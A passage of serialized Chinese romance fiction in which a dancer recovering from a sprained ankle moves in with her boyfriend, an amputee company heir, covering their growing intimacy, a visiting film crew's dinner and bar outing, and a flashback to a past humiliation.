司机大哥停车说:“美女到医院了,你这腿能走不,要不要我给你扶进去?” “” 翁乐仪赶到医院的时候,卓繁星坐在外面等。说来巧,正碰见赵医生值班,如今他去处理一个脑袋上要缝针的伤患。 “医生怎么说?”她左脚侧面肿起来,透出里面的乌青。 “应该没有伤到骨头,就是保险拍个片子。”卓繁星拉着他坐下。“你从公司赶过来?” “家里。今天没那么忙。” “噢。” 两个人都没再说什么。 赵朔找出来,愣了下。“卓繁星,片子出来了。”他把手放进口袋里,目光在翁乐仪身上转了一圈。 “骨头没事,应该是韧带扭伤。”赵朔放大电脑里的片子,仔仔细细看了一遍。 “这个多久能好?”卓繁星问他。 “一个礼拜不要下地,最好少走,这个要养的,起码半个月。” 卓繁星懊恼,她职业特殊,要是坐办公室的也就算了。 赵朔开完药,不经意地问起:“那位是你男朋友?” 得到了肯定的答复,他也不知道心里什么滋味儿。“叔叔要是知道了肯定特别开心。” 卓繁星笑了笑没回应他这句话。 “你去拿药,主要是喷雾,先消肿止痛。如果有什么问题,你回头微信上发我。” 卓繁星直接被翁乐仪带去了他家。 翁乐仪家里都是考虑他的腿有特殊设计的,如今她用着正合适。要是自己家里,她还得爬个十几节楼梯上去,lof式的建筑,楼梯窄而陡,来回几趟,要她命了。 她躺在床上,过了二十分钟,翁乐仪也收拾好躺下来。 卓繁星顺势就往他怀里滚。 半天没动静,除了揽着她的那只手。她眼睛往上瞄——他眼睛都闭上了。 她悄悄叹了口气,睁着圆咕隆咚的眼睛发呆。 翁乐仪在之后睁眼的时候就见着她这样。 “你在想什么?” “你没睡?”她被他突然出声小小吓了一跳。她察觉出他心情不怎么好,或许是工作累了。 “我今天碰见以前的林老师了,她是这次舞剧的编舞老师。”卓繁星立刻就想到今天中场休息的时候,撞见她,两个人都很意外。她自然问起她如今在做什么?卓繁星只能照实说。她手边还牵着一个Bella,当然她也不会说谎,没有什么区别。 林老师自然很为她可惜,可跳舞这个东西,就是要下苦功夫,花时间,她如今早就同念书那会儿不一样了。她看着舞台上的演员就知道。与他们相比,她如今很是业余。 就像两个世界的人。 卓繁星隐去那些可惜的话,只将自己的感受说给他听。 翁乐仪说:“会觉得遗憾。” 卓繁星点头。“毕竟学了好多年的舞蹈,我一直以为会走这条路。”她在他怀里换了个姿势。“你知道吗?这是我毕业后第一次看舞剧。我一直不想面对这件事。” 人生出现了脱轨,如果蒙住眼睛,盖住耳朵,她可以不那么难受。不然她会忍不住去恨卓强。 那种恨又恨不彻底,像是蚌肉里掺着砂砾,一点一点的磨人。 翁乐仪说:“我刚出事时也是这样。” 卓繁星仰头看他,与他对视后,将他抱得更紧。 “那时候是冬天,我睁开眼睛,窗外面就是白茫茫的一片。康复医院在一个小镇,很安静,下午3点多天就黑了。” “后来我妈觉得太无聊,带我去镇上的集市广场。那边还有家小超市我记得那边有座钟楼?反正她喜欢带着我,在外面,她在我旁边,会买一瓶酒,然后一起抽一支烟。” 卓繁星将他的手移到她下腹的疤上。 翁乐仪的手指触碰上去的时候,那处的肌肉轻微挛缩。 “今日那个医生,你还有印象吗?”她突然调转话题,翁乐仪稍显慢半拍。 “我曾与他相亲过。” 翁乐仪挑了挑眉。“怪不得你有他微信。” 卓繁星想他怎么知道,他已开始催她。“所以?” 所以?卓繁星觉得自己一时忘情,说的太多。“总之就是失败了。” “因为这个?”他在她那条疤痕上轻轻抚过。 卓繁星说:“我爸觉得这会影响我嫁人。” 卓繁星开始讲起她那个器官的梦。 翁乐仪听到一种诡异童话的感觉,从她开合的唇瓣里源源不断地进入他的耳朵,却有一种魔力让他挪不开注意力。 “它们都回来了。”她被自己逗笑了。“它们手拉着手,一个跳进我的身体里,一个长在你的腿上” 翁乐仪还没等她说完,就吻住了她的唇。 他们抱在一起,紧紧拥着彼此,好像两只在冬天互相取暖的小狗。如果不能抱紧对方,怎么才能在这个冬天活下去。 他们是那样的像,连残缺都是一样的。他们注定了要在一起。 卓繁星感觉到一种来不及阻止的情潮铺面向她涌来,像是有一张网将她罩在了里面,她无处可逃。紧张混杂着零星的怕,可这实在不能令她推开他。 直到她的身体碰到他的残肢——那是一截突兀存在的地方,如何也解释不了,那截滚圆的,有些近似圆柱体的肢体会搭在她的小腿上。 卓繁星甚至感受到他膝盖以下无力的部分,像是一个孱弱的孩子,耷拉着。 翁乐仪一下从她身上离开。 他肯定也感觉到了吧。所以在卓繁星试图去摸的时候,将她拦住。 翁乐仪起伏的胸膛尚未平息,握住她的手仍在轻微颤抖。卓繁星心疼起来,在他漂亮的眼睛上轻轻亲了一下。 “要我帮忙吗?” 他愕然,怔怔地望着她。 “不要算了。”卓繁星也害羞了,她的勇气只允许她问一次。 随后她的手被牵着,带到那里。穿过卫裤,还有一截松紧带。滚烫炙热的温度灼的她手瑟缩了一下。 手指接触到茂密的草地,这里诡异地叫卓繁星想到了红毛丹。她的羞涩有一瞬间不见了踪影,喷笑在他怀里,然而很快又卷土重来。 实在是这样的翁乐仪太过陌生,又太过诱人。 他直视着她,黑漆漆的眼珠不似他那里,若不是她的姿势,她真要怀疑他什么都没发生,一本正经地看着她。 这让她有种错觉,好像在欺负他。 她的手指被他包裹着,起初是没有什么自己的意识的,她还是有些被吓到的。直到后来,才敢这里动一动,那里动一动。 “翁乐仪。”她在最后的关口轻轻喊他。 翁乐仪向前倒在她身上,将脸整个的埋在她肩头,加重的呼吸一下又一下地传递过来。 结束后,翁乐仪拿过床头柜上的纸巾盖在她手上。她在这个动作中,看见他微微下滑的裤子,露出一截白色的腰腹。 “我去给你拿毛巾擦一下。”他耳朵红透了,恨不得下一秒就滴血。 卓繁星发了会儿呆,掀开被子,跳着跟了过去。 “你的脚。”他过来扶她。 “还是洗一下方便。”卓繁星先是将自己的手放在水池里冲,然后挤了洗手液,将自己的爪子搓干净。 翁乐仪拿毛巾给她擦手,她突然笑起来。 “我们两个一样了,都是小瘸子。” 翁乐仪在侧边的镜子里看见他们的姿势,还有两张一样通红的脸。他低下头吻住她,极尽温柔与缠绵。 卓繁星呢? 她靠在瓷砖上,抱住他,好方便他站的更稳。 【作者有话说】 第39章 ◎sleep(二)◎ 次日下午,翁乐仪在办公室见到了程知遇,还有一位李姓执行导演。其实他们落地时,翁乐仪就安排人接待,只是后来程知遇又联系他,有些问题想再同他协商。 李导演说:“众鑫是一家老牌企业,现在新能源是国家重点发展的领域,之前也有很多起伏。这是非常精彩的故事,也是我们想要做一次专访的原因。” “这次的主题是浪潮,我们觉得众鑫特别契合。尤其了解到您现在是已经进入企业,有接棒的意思,我们想采访一下您。俗话讲长江后浪推前浪,您也是非常优秀的青年企业家。” 翁乐仪说:“您谬赞了,我是沾了父辈的光。”转头问起最近的采访。“我听说你们想去新厂区看一下。” 李导演看了眼程知遇,程知遇点头说:“是有这样的打算。就看你这边方便安排吗?” “这没什么,不过那边还没收拾好,最近是有些机器设备搬进去。” “我们是听说那是众鑫要打造的现代化生产工厂,会大量采用机器人。” “是,现在都在做黑灯工厂,这对产品的良率,降低成本都是有好处的。”翁乐仪说:“如果你们有想法,我可以让安杰去联系一下那边的工作人员,尽量配合。” “至于采访。”翁乐仪委婉拒绝道:“其实我觉得采访公司的老员工会更契合你们的主题,包括我们也有许多祖孙三代都在工厂里的故事。如果你们需要,我让安杰整理好发给你们。” 话都说这份上,程知遇两人并非不知好歹的人。这次过来,已经开了一路绿灯,行程比想象的还要顺利。除了本来想的。 这位继承人样貌出众,放在节目里绝对是个亮点。翁家低调,可掌权人翁廷川随便上京开个会,照片视频网上一传,都能上个热搜——人称现实霸总中年版,小说男主老了以后,以前的阿姨吃的真好啊等等。如今这个更是活脱脱的帅哥,霸总预备役,青年版。 李导演稍显遗憾,原先以为凭程知遇的关系,怎么也能采访一下,说多说少不管,没想到还是没戏。 翁乐仪起身送她们离开,握手的时候,程知遇说:“这两天劳烦你了。” “没什么,你客气了。希望能帮到你们。” 她抿抿唇说:“秦奶奶昨天联系我,问我采访的怎么样?我说多亏了你帮忙。这次回去,想着要给她带些礼物,可能还要麻烦你。” 凯思将人送至电梯,回来的时候免不了八卦。 陆芳品着菊花茶慢悠悠评价道:“翁总这般人物,有人对他有意思不是很平常的事。” “这个比起他女友怎么样?” 凯思支着下巴讲:“这个像是大家闺秀,好像同翁总家里的长辈认识。不过我还是投现女友一票,我觉得他俩气质特别搭。都是那种可远观而不可亵玩的类型。晴晴,你说呢?” 于晴晴敲上最后一个字,将文件发送出去。“不知道。反正都和我们没关系。不过他这种身份,不会随便找个对象结婚吧,肯定要门当户对的。” “也是。”凯思点点头。“那还是这位程小姐胜算高点。” 于晴晴笑道:“八字还没一撇,这是翁总的事,你倒给他算上了。” 凯思也笑。“我是见那程小姐对他很有意思。” 这时翁乐仪走出来,几人立刻噤声。 他走到凯思边上说:“你今天说的那家很好吃的蛋糕店在哪里?方便订单吗?” “她水果都挺喜欢的榴莲不要。” “现在是草莓季,草莓很新鲜,搭配奶油又好看。”凯思建议道。 “好的,麻烦帮我订一只。我现在去开会,大概6点结束,请在之前送过来。” 他看一眼手表,于晴晴收拾好文件资料,跟在他后面离开。 凯思啧啧两声,对陆芳小声道:“看样子还是卓小姐胜出概率大。” 翁乐仪回到家里,卓繁星正坐在地毯上,趴着一字马。这是常规操作,她时不时要松一下筋骨。 “蛋糕?”卓繁星惊喜地看着他。 翁乐仪说:“拜托凯思订的,她说这家很好吃。” “脚好点了吗?”他脱下大衣,走近。 卓繁星坐起来说:“还有点肿,就是不好用力。” “医生说至少半个月。” “我知道了。”她瞪了他一眼,她今天给何安琪打电话的时候,她已经很崩溃了。卓繁星在这一点上倒不是那么喜欢宅家的人,她觉得工作给她一种踏实感。 还有一点就是,或许翁乐仪的家对她来讲还是稍显陌生,她在自己租的房子里会更自在一点。 想到白天邵丽丽的调侃,她如今倒是班味十足。若是以前,说什么也要过来参观一下。可是如今,只逗了卓繁星几句,就说:“我太累了,找个跑腿给你送过去吧。” “蕾丝三件套要不要?” “哎,肯定要啊,我就多余问。我再给你附赠一盒避孕套,我上次囤的,感觉还行吧翁总应该是大号吧。我只有大号,先凑活着用吧不过我估计他肯定有买,男人的心思,啧啧” 卓繁星被她说的小脸通红。 翁乐仪洗完澡出来,看见在卓繁星在房间。 “蛋糕好吃吗?” 卓繁星心虚地把蕾丝三件套往柜子深处再塞了塞。“还没吃,等你一起吃。” 翁乐仪穿了一件浴袍,脖子上搭着一块毛巾,时不时拿起来擦一下头发。湿发状态下小小的卷毛更明显了,几缕发丝落在眼睛跟前,瞧着比平常年轻许多。 卓繁星将蛋糕拿出来,直接拿叉子挖着吃。 “味道怎么样?” “还行。草莓有点酸。”她挖了一勺给他,还贴心地带上一颗草莓。 “晚饭呢?” 翁乐仪说:“你想吃什么?” 卓繁星转了一下眼珠,实在想不出来。“好像没有特别想吃的。” 她叼着叉子,翁乐仪突然手伸过来,在她唇角抹了一下,然后就把手指上的奶油吃进嘴里。 卓繁星脸红红的,其实这是个很自然的动作,可是耐不住她心黄黄。都怪邵丽丽。 “干嘛勾引我?”她决定恶人先告状。 虽然控诉的声音很轻,但翁乐仪还是听见了。 他不明白的嗯?了一声,然后就被卓繁星又喂了一口蛋糕。 她圆圆的眼睛里都是大胆,在他吃下去的档口,撑着他的膝盖坐起来,在他唇角舔了一下。 啊,好像恋人嘴边的奶油是要更甜一些。 翁乐仪托住她半张脸,一下就亲了上来。 这时候也不必再去纠结谁勾引谁了。 沙发又大又柔软,卓繁星今天体验了很久,知道这只奶油色的沙发有多舒服。 当然,翁乐仪身上很硬,绝比不过它。可谁叫他穿着浴袍,脸被洗的干干净净,像明净的山水。湿润的头发带着海盐柠檬味道的水汽,令卓繁星想到海边、沙滩。 而在翁乐仪眼中,身上的人则是一块奶油蛋糕。同他刚刚吃过的那只有异曲同工之妙。他们是甜的、酸的、融合着轻微的果香,是不论味蕾还是嗅觉都令人喜欢的存在。 他不喜欢吃太多的奶油,可奶油蛋糕要是没有奶油,更加不行。 她就是他尝过的第一口奶油——总是带着惊喜与期待。 眼见着奶油快要化了,翁乐仪压住她,卓繁星一哆嗦,按住他的手。 耳边的喘息声很大,翁乐仪起身将她一并扶起来。 “晚饭吃什么?”他这样问。 “我不是很饿。” “我也不饿。” “这个蛋糕够我们两个吃吗?”她眨眨眼,翁乐仪不自在地动了下身体,说:“应该够吧。” 卓繁星惦记着柜子里的三件套,刚才的刹车有一部分是害羞,还有一部分很大的原因就是还没用上它们。 她看一眼电脑前的人,钻进了浴室。 翁乐仪确实觉得有些难熬,可刚才确实不是好的时候。 他看着手机,手指在计生用品上来回划过,是不是该买一些备着。 程知遇发来一条微信,表示感谢,并想请他吃饭。 翁乐仪觉得不必要这样客气,回道:【这对众鑫也是好的宣传,招待不周,还望见谅。】 他自是不知对面是如何的愁肠百结,自己看定了便着手下单。 卓繁星在浴室里换上真丝睡裙,裙长及膝,布料自然地垂下,正面看还好,背面一个大的弧度,将后背裸露。 她鬼使神差地看了一会儿,镜子里的人骨肉匀称,头发湿漉漉的,同他一样,没有选择吹干,而是拿了一条毛巾。 卓繁星穿了翁乐仪的浴袍,有些大。腰带将腰肢系的纤细,宽大而松垂的浴袍让她有种被包裹的感觉。 因为湿发,翁乐仪看见她一下就想到了淋雨的小猫。在洪家别墅碰见时,他就是这样想的。 “为什么不吹头发?”她坐在他跟前的地毯上,翁乐仪拿着毛巾给她擦头发。 卓繁星心虚胆怯,还有些隐隐的期待。这让她比平时沉默多了。 翁乐仪不知道发现了没,还是也另有心思,总之只是默默给她擦着头发。 两人身上都是一样的味道,或许还要加一些草莓蛋糕的香气——一种淡淡的奶香与果子的清甜。在卓繁星咬了一口草莓尖尖的时候,更明显了。第一个将草莓与那些恋爱的感觉联系在一起的人一定是个天才。 “要喝酒吗?”翁乐仪终于打破了沉默。 “你调的吗?我要喝Luna点的那杯。” “莫吉托。可以。”他淡淡道,起身往厨房去。 卓繁星悄悄松了口气,忍不住往衣领里看了看。 这时门铃响了。“你点了什么外卖吗?”卓繁星往门口去,那里的视频界面显示有个外卖员在外面。 “是,我来。”翁乐仪显得有些奇怪。 卓繁星快他一步,已经拿着袋子进来了。 啊哦,她抬头看了他一眼。 翁乐仪折返回去。 卓繁星饮了一口杯里的酒,可心思早不在它身上,抱着酒杯眼珠乱转。 翁乐仪喝的是白葡萄酒,他拿着酒杯,浅抿一口,十分慢条斯理。 卓繁星还没察觉到危险,不知道自己或许已经从可怜小猫变成了猎物。 她垂下的睫毛可怜又无辜,轻轻颤了颤,像是蝴蝶扇动的翅膀。酒液将她的嘴唇涂亮,还有半湿的头发,披散下来,落到锁骨上。宽松的浴袍不知何时张开了领口,一条细细的带子绕在她的肩上。 翁乐仪又喝了一口酒,在一瞬间,吻便落了下来,落在那条细带子上。 浴袍上的腰带完全松开,她穿在里面的秘密暴露无疑。 翁乐仪笑了一声,卓繁星羞恼道:“你才是黄黄的坏蛋。” 翁乐仪抱住她,将她纤细的身子整个嵌在怀中。 卓繁星啊,总是给他惊喜。 第40章 ◎sleep(三)◎ 如果邵丽丽再问她翁乐仪是不是床上床下两种样子,卓繁星想她会回答是的。 现在,卓繁星红着脸,和他一起泡在浴缸里。 新鲜的体验还未完全散去,身体变得惫懒,精神却又莫名其妙的活跃。 卓繁星将额头贴在他下巴上,难得的思考起来。或许这也是某种贤者模式吧。 初体验对于卓繁星来说,其实还是会有些疼。 可关键在于又不是不能忍受的那种,涨的感觉更多,第一次稀里糊涂,她都要把自己缩起来了,可是他显然不满意。 男人的好胜心啊。就是翁乐仪也不能免俗。 这人温柔的外表下,做起事来却带股狠劲。后来那次把她按在沙发上,不管不顾地使劲。不就笑了他两声,心眼跟芝麻一样小。 翁乐仪亲了亲她额头说:“出去吃点东西。” “我不饿呀。”卓繁星懒洋洋的,腰还酸着,她不明白为什么这时候还要出门。 食色性也,莫怪是人生顶重要的两件事了。 如今翁乐仪在一件事上满足了,或许正是因为这件事,让他卡路里消耗太多,急需补充能量。 哎,卓繁星想,他好像又俗了点,一点不似小说里的男主。 “去吧。”某人意外地坚持。 卓繁星坐上车,已经近十点。翁乐仪所住的公寓就在市中心,街景没有那么寂寥,开过的街市仍很热闹。 她不知道他到底要吃什么,只是见着开过了许多饭店,亦或是路边摊,仍不见他停下。 终于,翁乐仪停车的时候,卓繁星打了个哈欠,闭着眼睛问:“到了吗?” 她感觉自己是被采阴补阳了。 他伸手在她红扑扑的脸上贴了一下,声音很温柔。“我下去就好,你不用下来了。” “噢。”说是这样说,可她还是张开眼睛。 翁乐仪从花店出来,就看见她站在车旁的路灯下。 粉色的围巾裹住半张脸,头发有些凌乱,因为困倦更深的双眼皮,下面的眼睛定定地望着他。 她踢着脚下的地砖,说:“好过分。” “什么?”他没来得及听清,走过来说:“不是说别下车。” 卓繁星看着他手上粉色的波斯菊,像一大捧幻梦,叫人情怯,生怕一不小心就将它惊散了。 面前的男人,一时与多年前的少年重合。其实在她心中,他一直介于男人与男孩儿之间,那个男孩子是让她心动的人,如今他们刚刚拥有了彼此,她认识到他是一个男人,会令她痛苦又沉醉的人。可他身上总有些特质没有改变,叫她时常恍然怪不得她会喜欢他。 从几个月前在医院遇见时,他关注到她胃痛,给她点的那杯热饮时,就这样了。 真的好犯规。好有心机啊。 她抱着那束花想:如果时光能够停留在这一刻,好像也没有什么不好。 次日,卓繁星果然遭受了狂轰乱炸。 她只是发了一束花的照片。 灵均:【是谁?!!!】 邵丽丽:【啧啧,恋爱的酸臭味。嫌弃.jpg.不过翁总审美很好啊,花很漂亮。】 潘潘:【是我想的那样吗?!!小猫八卦.jpg】 闺蜜群里,小苑率先发现,佟笑一脸懵逼,看了朋友圈后回来就淡定发言:【我好像知道是谁了。】 小苑:【是谁?!是谁?!】 佟笑;【点烟.jpg】 她看着翁乐仪同款朋友圈,露出了了然的微笑。【我就知道你俩有奸情。狗头。@繁星】 卓繁星讪讪,打开翁乐仪的朋友圈,这人怎么也发了一模一样的图片。 可是真的很幸福啊。 她趴在床上,打开窗帘,阳光下的波斯菊更加漂亮了。每一朵花瓣在太阳下舒展,像是阳光在上面跳舞一样,她好像真的看见一个穿着裙子的少女,在上面翩翩起舞。 她拍了照发给翁乐仪。 正在开会的某人,点开后会心一笑。 做展示的员工稍有迟疑,讲话都磕巴了一下。 卓繁星很快也收到了何安琪的微信:【趁机恋爱是吧。好好好,告诉我还要几天?崩溃大哭。】 【还有件事,我这边有个人联系我说是选角导演,倪玉城你知道吧,他那边好像有个电影要拍,上次你跳舞的视频他们看见了,可能有想法吧。】 卓繁星蹙了蹙眉,没想到还会有这种事,打字过去。【我不感兴趣,帮我推了吧。】 何安琪很快发过来:【其实是个机会,不用这么快拒绝,你可以再了解一下。】 卓繁星很坚定。【不用了,我现在工作挺满的。你再帮我介绍几个富婆就好了。】 【陈婷那种?你要不是带着她女儿去看舞剧,能把腿摔了?】 何安琪不太明白她。现在都是流量社会,网上多少漂亮男女为了引流上恋综,不是一个道理吗。流量就是钱,她也不是不想赚钱的呀。现在有电影选角看过来,她不明白她为什么不愿意尝试。 或许就是性格如此吧。不过若不是这样的性格,当初又怎么会留下来呢。 她想通了便不再劝她,只让她好好养病,陈女士那里她会尽量协调。 陈女士那边到底没说什么,卓繁星同她请假她也很快答应,甚至说可以多休息几天。工作室那边倒是有些忙碌,因为刚好有圣诞的汇演,这事关明年的续课。往年都是这个时候把家长聚集过来,然后搞活动现场付钱。 还有就是市里小学的音乐老师会有一些帮忙排舞的需求,因为许多学校会有元旦晚会。 卓繁星呆了两天后,实在是坐不住,同翁乐仪商量一定要去上班。 翁乐仪说:“我会安排一个司机接送。” “会不会太麻烦了?”卓繁星觉得有些夸张,其实她现在已经能下地了,只是上下楼梯时会有些刺痛。 “我坚持这样。”翁乐仪在这一点上很不好说话,卓繁星无奈只有答应。 好在地下车库有电梯可以直通工作室,卓繁星每次都要求司机在那里把她放下,他们配合的非常好。 这之后,卓繁星与翁乐仪几乎同居一般。 卓繁星在清晨会送他上班,从第一次见到他裸体的害羞,到后来习以为常。ps.翁乐仪的屁股真的很翘。 卓繁星还尝试了他的萨克斯。在那个降温的天,她被他抱在怀里,教她怎么吹。魔音灌耳,最后连他也没了耐心。卓繁星觉得男人。他在她要求下吹了两首便不肯吹了,亲吻都没用。 卓繁星看着快速消耗的避孕套,虽然某人不能一夜七次,可一周七次还是很简单的呀。 纵欲伤身,她晚上就给他炖了莲子雪梨汤,下下火气。 总之,实在是梦一般的日子。这间公寓成了他们的乐园。卓繁星习惯了同他一起在爱爱后泡澡,喝着酒,听着舒缓的音乐。 这日晚上,翁乐仪来接她一起去参加聚会。 “是京市来的摄制组,现在工作结束了,公司出面要吃顿饭。”负责接待的人将安排报给了安杰,翁乐仪听后觉得当时来的时候他并没有出面,如今总要表示一下。 地点定在一家高档酒店,以海鲜闻名。Y市本就临海,多的是早晨装车的新鲜水产,运到市里后再配以厨师精湛的烹饪手法。不过顶级的食材,最简单的烹饪方法就已经足够了。 翁乐仪同卓繁星现身的时候,摄制组的人都已经到了,他们一行8人,大部分都是年轻人。只有李导演同程知遇见过翁乐仪,其余人只是听说。 当然照片还是见过的。当时他们开会时讨论过最好能采访一下本人,这也是为什么李导和程知遇会出现在翁乐仪办公室的原因。如今见到真人,的确可惜。 翁乐仪的穿着同平常没什么区别,只是今日去市里开会,外面穿了一件干部风的外套,非常之沉稳,与他平常相比多了一些人夫感。 卓繁星的头发一直没工夫去剪(或许就是懒),总之拖到现在。她把两边的头发在耳朵后面用一只鲨鱼夹夹住,米色的毛线内搭,下身是一条茧型长裙加黑色玛丽珍鞋。 李导说:“我猜卓小姐是老师吧。” 卓繁星稍显羞赧地点头。“算是吧。” 她同她身边的姑娘点头,这姑娘也看着她。从座次上就能看出,是仅此于李导的人物。她穿着一条贴身的灰色针织衫,脖子上一条珍珠项链与金属链条混搭,给整体的搭配增添了一丝细腻精致,又不失简单素雅。可以说是场中最漂亮的女士了,听说是出镜的主持人。 卓繁星是个I人,天生对这样的场合应对不来,好在她只要负责吃与听就好。 酒水的选择很丰富,卓繁星近来同翁乐仪一起在这方面算是长了不少见识,尤其体现在习惯了小酌一杯上。 霞多丽这类白葡萄酒她不感兴趣,反而对桃红这类葡萄酒跃跃欲试。 粉红色的液体倒在酒杯中看着非常梦幻,让她不由自主想到那夜的波斯菊,非常像的颜色。 尝到嘴里是一种浓郁的果香,入口甜美,酸度轻盈活泼。 翁乐仪注意到的时候她的眼睛都亮晶晶的,水润动人。 “少喝点。”他将她那只空杯子挪开,唤服务员拿一杯温牛奶。 卓繁星自己贴了贴脸,也知道不好再喝。 饭桌上多是讨论一些拍摄的内容,导演从哪里哪里获得了灵感。尤其讲到采访一位老资历工程师的时候,还提到了当年是怎么跟随翁爷爷做技术的。 “那时候大家都说做不了的,结果翁老一定要做,如果我们只是跟在外国人屁股后面,那么就永远抬不起头。” “就是这种精神。”李导感叹道:“让我很受触动。” “我听闻翁老现在生活还是很朴素。” 翁乐仪说:“老一辈的人都是这样。” “不知可否有幸采访一下他?” 翁乐仪思忖片刻道:“我会帮您传达,不过老人家近来身体不太好,喜欢安静。” “明白,明白。” 快结束的时候,不知谁提起来拍照留念,后来又发展成单独和翁乐仪拍。翁乐仪不好拒绝,卓繁星笑着走开给他们挪位置。 有一个男生估计是玩乐队的,听过翁乐仪的名字,提起来。后来干脆说去附近的酒吧坐坐。 如今任务结束了,大家都比较轻松,又是一群年轻人,自然起哄起来要去。 到了酒吧,气氛俨然不同。方才在饭桌上不敢问的,也敢问了。 卓繁星被问到是怎么同翁乐仪认识的。 她看着身边的翁乐仪,正好他也看着她,两个人不知想到了什么相视一笑。 “是在Y市认识的吗?”程知遇问。 翁乐仪说:“我们是初中同学。” “果然!”一年轻小姑娘握爪。“好男人在校园里就被刮分干净了,绝对不可能流到市场中来。” “那你们是在学校里就谈恋爱了?是彼此的初恋?” 翁乐仪顿了下,摇头。“后来才谈的。” 他们又看向安静的卓繁星。 “卓小姐话好少呀。” 卓繁星尴尬笑笑,手在他手心里悄悄挠了挠,被一下攥紧。 她在他眼神里读懂了些意思:他生气了,因为那个初恋的问题。 她福至心灵,凑过去问他:“我是你的初恋吗?翁乐仪。” 翁乐仪漂亮的嘴唇抿了抿说:“我希望不是。” 卓繁星立刻听见了自己心花怒放的声音,要不是这里这么多人在,她肯定要亲他。 她把手伸到他指缝里,与他紧紧相扣。 翁乐仪似乎明白了什么,睇她一眼,唇角微翘,勾出一个浅浅的笑,然后把她的手举起来亲了一下,像羽毛一样扫过她的手背。 台上的女歌手唱着一首激烈的摇滚乐,许多人在舞台下举着啤酒欢呼跳跃。卓繁星也很激动,被那样的气氛感染,又因为饮了些酒,更容易被带动。 在结束后,女歌手问有没有客人想上台演出。 卓繁星有些兴奋地看着翁乐仪,他正举着啤酒瓶喝酒,微微仰起头露出干净利落的下颌线,喉结小幅度地动了下,睨过来一眼,表示不行。 可卓繁星实在想看呀。“这里!” 她甚至想听他唱那首歌。 认识他的那个小男生一样激动,表示可以伴奏。翁乐仪有些无奈地看着她,卓繁星摇着他手说:“我想听那首歌——” 程知遇今天一天都非常矜持优雅,看不出丝毫异样。可她知道自己为今晚的聚会怎样纠结裙子、精心化妆打扮。 她并非爱惨了翁乐仪,只是或许人与人之间本就存在天然的磁场。她第一眼见到他就被他吸引。或许这就是一见钟情吧。 她周遭自然不缺优秀的男士,可如他这样合她心意的还是极少。说来好笑,那天从蒋家回去时她还纠结过他的腿疾。好不容易下定决心,遵从内心,却不想他早有佳人。 他向来客气有礼,极有绅士气息,与他短暂的接触就是这样的感觉,今日算是见到了另一面。 原来面对喜欢的女孩子,可以这样的缠绵温柔。 她悄然叹出一口气。 看着他被簇拥着站到舞台上。 前奏轻快的响起,他站在麦克风后,微微撸起的袖子露出漂亮的手臂肌肉。她还是第一次见一个男人仅仅是这样的动作,就有一股性感的味道。 他唱道:“Iseehecrysalraindropsfall” “Jushewoofus.” “Jushewoofus.” 年轻的声音充满磁性,他一只手握着麦克风,深邃的目光专注地看着女友,在每一句“Jushewoofus.”后。 这样的表演,在结束后自然获得了全场的欢呼与掌声。 卓小姐在他耳边说了什么,他眼睛望着她。一段激烈的架子鼓,女歌手的声音又卷土重来。 程知遇看着他们两个走出人群,很快,翁乐仪走过来同他们告辞。他拿起自己的外套,让他们务必尽兴,随后揽着女友消失在出口。 哎,程知遇听见自己叹了口气。 李导演同她碰杯道:“天涯何处无芳草。” 她轻轻一笑,只能如此了。 心动难得,不过或许很快那个能让她心动的人会再出现。谁知道呢。《 》 40-50 第41章 ◎sleep(四)◎ 出了酒吧,有一种豁然开朗的感觉。 卓繁星有些兴奋地转了个圈,她走在前面,头发随着动作一并飞起,俏皮地又落回来。 翁乐仪欣赏了一阵去拉她。“你的脚还没好全。” “这么开心吗?”他感受到她雀跃的情绪。 卓繁星诚实地点头,然后扑到他怀里,紧紧抱住他。 “我现在觉得自己好幸福。”她的声音陷在他怀里,像是软糯的棉花糖。 翁乐仪被带笑,抱住怀里这个宝贝,嘴唇贴着她的发丝。 他们就这样安静拥抱了一会儿,在有些冷的夜里。 卓繁星或许是有点上头,她酒量一贯不好,刚刚吃饭的时候喝了一小杯,后来在酒吧又喝了半瓶啤酒。 她的话多起来。 “我第一次看你演出的时候,你就是唱的这首歌。不对,是另一个人唱,你吹萨克斯。” 翁乐仪稍显意外。 “我就知道你不记得了。” 她说:“就是Q大后街的酒吧,你演出结束之后,我在后门还碰见过你。” “那边出去就是个露天的篮球场,你在外面那个老年人器材上。”她说不出具体的名字,学给他看。“就是那种站上去,两条腿晃的。你就站在那个上面,接电话,抽烟。” “后来你转过头看见我了,吓了一跳,差点摔下来。”想到当时的场景,她噗呲笑出来。 “你记不记得?”卓繁星揪着他衣服说。“我没跟你说上话,酒吧里面有人出来找你,说什么音响坏了,喊你去修。” 翁乐仪失笑。“有吗?” “有啊。”卓繁星急道:“大一的时候。” “你那时候就那么关注我了。” 卓繁星说是啊。“我才不像你。”她怪委屈的。 “那你怎么还和凌洲表白。” 卓繁星一下呆住了,她愣愣地抬头,受惊地睁大眼。翁乐仪或许原先是随口说的,话赶话了,如今却认真起来。 “很难回答吗?”他尽量让自己的声音放柔和,不想显出责怪的样子。他不想让自己表现的像个怨妇,即便他的确对这件事耿耿于怀。 然而卓繁星始终没有给他一个答案。等待的时间太久了,让他后悔,本来是个很好的夜晚。 他们回到加家中,洗漱上床。 卓繁星脑中一时又闪过那个下午。 燥热的夏天,倪玉城的公寓,不,应该是蒋凌洲的公寓,倪玉城只是借住。 她被压在沙发上,蒋凌洲头发上的水珠不时落在她的脖子上,冷气太强,她起了鸡皮疙瘩。 他拨通了翁乐仪的电话,目光像猫看着抓住的老鼠——它们总是不急于吃,而是要玩耍一番。 “乐仪,卓繁星在我这儿,她有话要和你说。” “什么?”外放的声音稍显迟疑。 他看了一她一眼,唇角的弧度又勾了一下。“她说她喜欢” 卓繁星像一个被电击的人,几乎是颤抖地喊出来:“我喜欢你!蒋凌洲,我喜欢你”到后来更像一条脱水的鱼,张着嘴巴呼吸。 泪水不受控制地从眼角落下。 电话里的人说:“有病。” 蒋凌洲短促地笑了一声,挂断。 “我以为你会求救。卓繁星,你是不是脑子不好使。”他低下头有些恶意地指了指脑袋。 卓繁星不知道自己已经被吓呆了,或许是麻木了。在这通电话之后,她在翁乐仪心里肯定是个疯女人了。 她不知道他什么时候走开的,那个恶劣的声音远远地传过来。“卓繁星,还不起开?是打算我睡了你吗?” 这句话惊醒了她,她匆忙爬起来,眼泪干在脸上,眼眶酸胀。 她在楼下碰见了避出来抽烟的倪玉城。 “没谈好?”他热情的很,劝道:“Arhuer特地飞回来的,女孩子也别太作了。” “我和他没关系。” “哎。”他无所谓地看了她一眼。 